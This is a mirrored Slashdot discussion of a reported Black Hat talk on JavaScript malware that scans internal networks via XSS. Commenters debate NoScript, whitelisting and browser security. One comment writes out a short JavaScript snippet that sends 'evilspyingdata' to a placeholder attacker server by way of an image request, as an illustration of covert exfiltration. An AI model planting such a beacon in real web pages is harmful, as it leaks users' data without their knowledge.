Slashdot Mirror


JavaScript Malware Open The Door to the Intranet

An anonymous reader writes "C|Net is reporting that JavaScript malware is opening the door for hackers to attack internal networks. During the Black Hat Briefings conference Jeremiah Grossman (CTO, WhiteHat Security) '...will be showing off how to get the internal IP address, how to scan internal networks, how to fingerprint and how to enter DSL routers ... As we're attacking the intranet using the browser, we're taking complete control over the browser.' According the the article, the presence of cross-site scripting vulnerabilities (XSS) dramatically increase the possible damage that can be caused. The issue also not which-browser-is-more-secure, as all major browsers are equally at risk. Grossman says 'The users really are at the mercy of the Web sites they visit. Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it.'"

39 of 169 comments (clear)

  1. JavaScript Malware Open The Door to the Intranet by Ohreally_factor · · Score: 5, Funny

    Caveman Zonk edit headline bad.

    --
    It's not offtopic, dumbass. It's orthogonal.
  2. NoScript by dvice_null · · Score: 5, Informative

    Why can't users just install Firefox and NoScript extension for it. Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

    1. Re:NoScript by rdwald · · Score: 5, Informative

      In addition to blocking JavaScript on non-whitelisted sites, NoScript also prevents Flash and Java from loading unless you specifically allow them on a case-by-case basis. All of those stupid Flash adds will be gone, but you can still view everything you want to! It's a great extension.

    2. Re:NoScript by Anonymous Coward · · Score: 5, Insightful

      The problem is not necessiarly the web browsers (and most don't even use Firefox let alone have even heard of that that extension). The problem is the websites that don't properly take steps to protect against XSS (e.g. HTMLencode user input).

      Most recently we saw this problem in Netscape's portal.

      http://blog.outer-court.com/archive/2006-07-26-n73 .html

      Developers need to start thinking not only about how to solve the particular business problem but also about how their code could be potentially abused by attackers and take active steps to mitigate that risk.

    3. Re:NoScript by Anonymous Coward · · Score: 3, Informative

      You missed what they are saying. Even if you whitelist a website, that site can be crossscripted and become infected.
      RTFA.

    4. Re:NoScript by Asztal_ · · Score: 2, Informative

      Funnily enough, Internet Explorer actually warns you when an untrusted site links to a trusted one. I don't know of any other browsers which do this :)

    5. Re:NoScript by passthecrackpipe · · Score: 2, Insightful

      Dude, you must be a troll, but I'll bite. That is just such a load of bullshit, you could *never* be an IT consultant. First of all, if you are coding, you aren't a consultant - a consultant "consults" i.e. you advise the customer on the best course of action to achieve a certain goal. This may be architectural, infrastructure, security, or any other field, but it is *advise* - a good consultant is too *expensive* to be sitting there knocking out code. If your customer can afford to have you write (evidently crappy) code on his dime, you aren't a consultant, you are a tech/engineer, with delusions of grandeur.

      Having said that, your attitude is simplistic, and hints of a general lack of intelligence. Whatever kind of engineer you think you may be, you suck at it. I can tell you this simply from looking at your post. Security should be a pervasive part of all you do, whether you are a dev, a server wrangler, or whatver. Saying "we don't have the knowledge or time to make sure its secure" is like a pilot saying "I don't know how close to ground I am, I'm busy enough keeping this plane in the air without having to worry abou...." Cue planecrash.

      --
      People who think they know everything are a great annoyance to those of us who do.
    6. Re:NoScript by BalanceOfJudgement · · Score: 2, Insightful

      What I don't understand is why the other two who replied to you had to be so visceral about it. A simple "No, no, here's what you can do to make sure things are secure" would have sufficed, but instead one had to resort to calling you a troll and the other had to call you a con.

      Alas, I'm realizing that is a common experience on Slashdot. I always imagined geeks who were full of themselves, I guess I had to come here to really find them.

      Anyway, just brush that off, take the good from what they had to say, and leave it at that.

      Really, why people need to think of this place as a place to fight...

      --

      We are the fire that lights our world.. and we are the fire that consumes it.
    7. Re:NoScript by mattyrobinson69 · · Score: 2, Insightful

      To provide a decent UI for the user, you have to sometimes 'require' JS, for example, if you want to maintain a session when the user isn't actively clicking on links (especially when you need to know who is actually online, eg: see my link), you need to use xmlrpc (sometimes meta refresh just wont do).

      If you want a 'You have recieved mail' popup, you need JS, same with drag/drop, client side validation (along with server side obviously), client side updates of something that is happening server side (eg: the telephone call you requested is now being dialed, was answered, was disconnected, etc).

      The WWW would be much worse off without Javascript, as much as I hate the language. XSS could be prevented if JS could only be included by a HTTP header, such as:

      link-file: javascript.js
      link-file: js2.js

      etc, but we're a good decade late for that to become mandatory.

  3. Simple fix to an obvious problem by pieterh · · Score: 4, Insightful

    Giving JavaScript the power to do random network accesses may make AJAX possible, but code running in my browser has no business accessing my local intranet. For that matter, I'm uncomfortable with JavaScript applications 'phoning home' without my knowledge.

    So, the fix is to treat all attempts by JavaScript in a browser as 'hostile until proven otherwise', and to ask for user confirmation when such attempts happen. Put a firewall around the browser and treat any code running in it as dangerous by default.

    I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

    1. Re:Simple fix to an obvious problem by ergo98 · · Score: 5, Interesting

      Giving JavaScript the power to do random network accesses may make AJAX possible

      The XmlHttpRequest functionality doesn't allow "random network access", but instead is limited to calling the source website (in all browsers but IE. In IE the requests can go anywhere).

      I predict 2 weeks before there's a FireFox update for this, and 2 years before MSIE fixes the problem.

      Fix what though? The submission seems to be that someone has a big surprize that they're going to release at a conference, and for all we know they could be full of shit, talking big to get a lot of attention. Personally I would rather that this story was shelved until there's actual details that can be addressed/rebutted. Instead it's like lame nightly news teasers.

      "Coming tonight at 11 - Someting ordinary in your home that can KILL YOU! Now back to The Family Guy."

    2. Re:Simple fix to an obvious problem by Goaway · · Score: 4, Insightful

      document.createElement("img");
      img.src="http://myevilserver.com/phonehome.cgi?evi lspyingdata="+encodeURIComponent(evilspyingdata);
      document.body.appendElement(img);


      Oops! I just phoned home without using XMLHttpRequest! How are you going to firewall that one out?

    3. Re:Simple fix to an obvious problem by Ougarou · · Score: 2, Insightful

      As said: the problem is not the XMLHttpRequest that can be done: this is site bound in Firefox. (I think it's domain bound, not site bound actually, but ok)

      The problem is the ability of a homepage to be spread over different servers and locations. The only solution I see is getting images to be domain bound to.

      This solution will only work if it is set on all possible media that is embedded in the page, allowing only relative links for embedded media. Of course, this would totally destroy most parts of the internet.

      What I don't understand is why and how Javascript can get my local IP address: who even needed that to be implemented?

    4. Re:Simple fix to an obvious problem by Joce640k · · Score: 2
      What I don't understand is why and how Javascript can get my local IP address: who even needed that to be implemented?


      This is moot. The server which served you the page already has your IP address.

      --
      No sig today...
    5. Re:Simple fix to an obvious problem by tomjen · · Score: 4, Informative

      It has the IP address of the NAT router - not, not, not the internal ip of the computer making the request through the NAT router.

      --
      Freedom or George Bush
    6. Re:Simple fix to an obvious problem by roman_mir · · Score: 3, Insightful

      this is not insightful, it's silly. This is not even about JAVASCRIPT. An HTML page can access resources from anywhere on the web. And so if JAVASCRIPT is used to access one of those resources (an http request, as in HTML IMAGE tag for example,) then this problem cannot be fixed at JAVASCRIPT level.

      An HTML page can access an image on a third party server via a normal html tag, a javascript can facilitate that access, that's about it. In that http request parameters can be hidden that provide information about your session.

      The trick with JAVASCRIPT scanning your local network is actually this exact feature: a browser allowing HTML page to load resources from anywhere on the network. JAVASCRIPT is used to manipulate the DOM of the HTML, the GUI event model and the http requests. So the fundamental question is this: should and HTML page be allowed in principle to access resources from third party servers and not from its own server.

      But then you are questioning the entire Hyper Text idea - the linking of the Internet.

      This most certainly will not be fixed in the next release of ANY browser.

    7. Re:Simple fix to an obvious problem by Goaway · · Score: 2, Insightful

      Even if people should ignore the fact that this breaks half the pages on the internet, and turn it on, I can just use an iframe for the attack instead. Or a style tag. And so on, and so on.

  4. How's this news? by Anonymous Coward · · Score: 2, Insightful
    A portscanner in javascript is trivial and it runs on the client machine behind the corporate firewall. This isn't news, this has been common knowledge for ever. This is why javascript is disabled throughout any organization that takes security seriously. I find it amusing that this only gets planted in the news when certain large tech companies are pushing ajax to replace desktop apps.


    It's not just javascript, flash content, activeX and java applets should all be disabled site-wide. Any network admin that leaves js enabled in browsers (acrobat reader etc) should probably seek employment in some other field. Anything less is irresponsible!

  5. NoScript extension could be a saviour by CdBee · · Score: 4, Informative

    For about a year now I routinely install a whitelisting firefox extension called NoScript
    It blocks javascript per-site until I choose to whitelist the site: Not only do I get a great deal fewer annoyances interrupting my browsing, but it also cuts out a lot of web advertising (the AdBlock extension makes my browser drag when fully loaded with filters)

    --
    I have been a user for about 10 years. This ends Feb 2014. The site's been ruined. I'm off. Dice, FU
  6. Re:JavaScript Malware Open The Door to the Intrane by Exatron · · Score: 4, Funny

    Me, Grimlock, like headline. No want it change.

    --
    "I think so, Brain, but 'instant karma' always gets so lumpy." - Pinky
    "Decepticons FOREVER!!!" - Ravage
  7. Problem Solved? by Petersko · · Score: 2, Interesting

    "Then Javascript will be disabled by default, but user can whitelist the sites where Javascript should be enabled. Problem solved.

    The consequences of disabling Javascript can lead to a host of new problems. I used to disable javascript and enable it by whitelist. Then I registered a piece of shareware, paid by credit card, and waited. Of course since the whitelisted servers forwarded off to some other entity which provided the registration pages, it never came back. So I figured out the servers that it was dealing with, whitelisted them, and reregistered.

    Naturally I got double-billed. The shareware provider kindly fixed that situation, and I was credited, but this situation was a good example of why whitelisting sites is not the solution.

  8. WMVs by CosmeticLobotamy · · Score: 3, Insightful

    This is slightly off-topic, but it's kind of relevent to the solution of turning javascript off. Can anyone explain to me why javascript is required in Firefox to open a .wmv file (in windows, obviously)? And more importantly, what bug makes Firefox crash about 33% of the time when visiting a site that has one on it when javascript is disabled? What are the odds that bug is overflow exploitable?

  9. Re:A solution to this problem. by Goaway · · Score: 2, Insightful

    Except that, you know, maybe they want to actually use JavaScript apps on their intranet?

  10. Configure which sites get javascript? by Anonymous Coward · · Score: 3, Insightful

    I have been asking for years why we can't disable javascript for all but trusted sites (in phoenix/firefox/etc) via a config facility.. The default when browsing should be OFF.

    Websites need to stop using javascript for conveying simple information. That Flash crap too. Most people just laugh when I say javascript is a security hole.

  11. I tried the "proof of concept" here... by John.Thompson · · Score: 2, Informative

    And it found some, but not all the web-enabled devices on my network. It found my web server and correctly identified it as Apache, found the squid proxy running on the gateway/firewall machine (identified as "unknown"), but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.

    But the Firefox "NoScript" extension completely blocked it until I told it to temporarily allow the host site.

    1. Re:I tried the "proof of concept" here... by vtcodger · · Score: 2, Interesting
      ***but failed to find my wireless router (through which it had to pass in order to see the rest of my network), or my print server. It also identified as "exists" several IP addresses on which no machine or device exists.***

      Doesn't the second part of that make you a little nervous? One possibility is that it is finding your router and print server, but not where they are supposed to be. Could be an error in the program, but it could be some 'feature' of your network environment that you'd like to know about.

      --
      You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
  12. Javascript Haters Society by bateleur · · Score: 3, Insightful

    So in response to a post saying a particular technology has security holes, the consensus "solution" is not to use that technology?

    That seems weak to me. By all means propose replacement solutions that do the same job, but by saying "don't use it" all you're really doing is saying "I personally have little use for it".

    Sysadmins should all disable Javascript?! Fine, go ahead, I'll move to a company with less demanding security requirements. You'll find your network's impressively secure once there are no users left.

  13. Missing the point by Minwee · · Score: 3, Interesting
    "Users could turn off JavaScript, which really isn't a solution because so many Web sites rely on it."

    Yes it is. Users could also politely point out to the authors and administrators of the majority of web sites which rely on javascript that they really, absolutely, positively don't need it. You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it. I would say that using scripted actions for that is lazy and stupid, but it actually involves a good deal more work than using proper HTML. That makes it just plain stupid.

    For the rare applications which actually require javascript and don't just use it as some kind of prostetic weiner replacement there is always the option of enabling scripting on a site by site basis. Turning scripting on for http://trusted.internal.site.on.your.local.net/ but not for http://random.russian.warez.and.porn.site/ really is a solution.

  14. Re:Doesn't work that way with NoScript by fotbr · · Score: 2, Informative

    If you're at a site that you need Javascript to run, the little icon down in the lower right hand corner will have a pop-up menu to enable Javascript for that site you're on. You can have it enabled just for that session or permanently.
    You just described a whitelist.

    His TRANSACTION was sent off elsewhere, to another site, and because THAT site hadn't been whitelisted, he didn't get an acknowlegement that his payment had been accepted.

    I know you no-script fanboys can't stand the idea that your favorite tool might not be perfect for everyone, everywhere, all the time, but learn to read before spewing your fanboy-ism.

  15. NCSA Mosaic avoids this problem by shwonline · · Score: 3, Funny

    Ah, the simpler days of gray backgrounds and Times New Roman. None of these fancy tables, neither. And we had to walk 5 miles to school, uphill, in snow up to our hips. And 10 miles uphill to get back home. Kids today with their fancy JavaScript. No appreciation, none at all.

    --
    Do you have a flag?
  16. FIrefox NoScript? by kintarowins · · Score: 2, Interesting

    How anyone can just not use a simple extension to block scripts, flash, java, etc like the Firefox NoScript extension is just confusing to me. People actually seem to want to run foreign applications on their system through sites which can quite easily load anything they want.

    Make it clear to your family that the modern Internet is like the real world. Protecting your computer with either a secure Internet Explorer (eg: the default Windows 2003 IE config) or Mozilla Firefox (with the NoScript and CookieSafe) configuration is like leaving your car unlocked in a inner-suburb train station... It will get broken into!

    For those affected by these issues: welcome to the real world. Grow up, plug in, learn what the hell your doing on this internet.

    You should need a licence to even have an Internet Connection.

  17. Oh well, let's prevent people doing their jobs by Flying+pig · · Score: 2, Funny
    Because it worked so well for the KGB. KGB agents planted by photocopiers to ensure the wrong documents didn't get copied. Typewriters with unique typefaces in a single nonstandard size so that official documents couldn't be faked. Yes, if you are restrictive enough eventually you can bring everything crashing to a halt. However, the concept that everything is forbidden except what is compulsory has hardly proven the most successful business paradigm. IT is supposed to be an enabling technology, not a disabling technology. The sudden focus on security has brought to the fore all the anal retentives who secretly want to stop people doing things, and now have a justification for doing it.

    The answer with all these technologies is to get away from the "everything is permitted, everything links to everything else" model that Microsoft promoted till it ran into trouble, and work out a way of implementing security policies that are comprehensible and that work.

    --
    Pining for the fjords
  18. Feature creep? by vain+gloria · · Score: 2, Interesting
    1. Re:Feature creep? by metallidrone · · Score: 2, Informative

      Perhaps it is because NoScript breaks FlashBlock (not sure about AdBlock). I don't know if this is still the case, since I removed it (FlashBlock) when I noticed that NoScript was preventing it from working.

  19. Please kill JavaScript. by Anonymous Coward · · Score: 2, Insightful

    The vast, vast majority of exploits involve JavaScript in one way or another. If it were possible to just "turn off" JavaScript world-wide overnight, the number of exploits would drop down substantially. Of course you would still have the "stupid user" problem, but you can only do so much to combat that.

    As far as browsers are concerned, a large percentage of exploits are being written by / for criminal elements for profit. To this end, they maximize their profit potential by targeting the most prolific browser. For now, FireFox and others are relatively safe. We have seen a few things come out lately, but they are really just toys compared to what is out there for Internet Explorer. These people writing the exploits are, unfortunately, rather smart and clever. When it becomes econically feasible for them to target FireFox / Mozilla / whatever, make no mistake about it: they will. That is when we will see how secure that software really is.

    This is where people bring up the IIS vs Apache argument. My only answer to that is that there is little money to be made in compromising web servers. There are a few cases of corporate espoionage, but most of the time it is ego-driven: defacement, spreading worms, etc. A competent webadmin will eventually discover the breach and fix the system, so there is not a long window of opportunity. Compromising millions of home users' PCs without them even knowing it is much better profit-wise; you can spam the shit out of anything pretty much with impunity, and people will pay you good money to do it. So these kinds of people target what they are familiar with: Microsoft. I think compatibility also plays a role. Any Windows server running IIS can run any Windows binary. This is patently untrue of Linux servers running Apache; there are so many different combinations of distributions, libraries, and architectures that binary compatibility is very small if it even exists. Microsoft is an easy target because it is such a monoculture.

  20. Re:JavaScript Malware Open The Door to the Intrane by Ohreally_factor · · Score: 2, Funny

    Your grammar frightens and confuses me.

    --
    It's not offtopic, dumbass. It's orthogonal.
  21. You don't need it - you want it. by gnuman99 · · Score: 4, Insightful

    You don't need javascript to open a link to another page. You don't need javascript to open an image in a gallery. You don't need javascript to submit a username and password. You just don't need it.

    You don't need it - you want it. You want it to make the entire web experience better.

    From a security standpoint, everyone should be on lynx or similar browser. From the user standpoint, Javascript is essential (see maps.google.com, or gmail) for a good web experience. Images are fundamental. Web is not static HTML any more. We now live in the world of DHTML and security is just going to have to deal with it.

    Javascript is broken if it allows you to access other than non-remote resources (ie. from original website) and some settings available to it from the browser (windows size, etc..). That's what it is there for and other uses should be disabled. We already see it with the JS popup blockers. Similar security for network accesses should suffice.

    Similarly with Java, Flash and other things.

  22. Comment removed by account_deleted · · Score: 4, Informative

    Comment removed based on user account deletion

  23. Re:A solution to this problem. by aztracker1 · · Score: 2, Informative

    And for your intranet server, that *IS* likely to need scripting, ex: an internal wiki, or bulletin board that uses one of the fancy html editors?

    --
    Michael J. Ryan - tracker1.info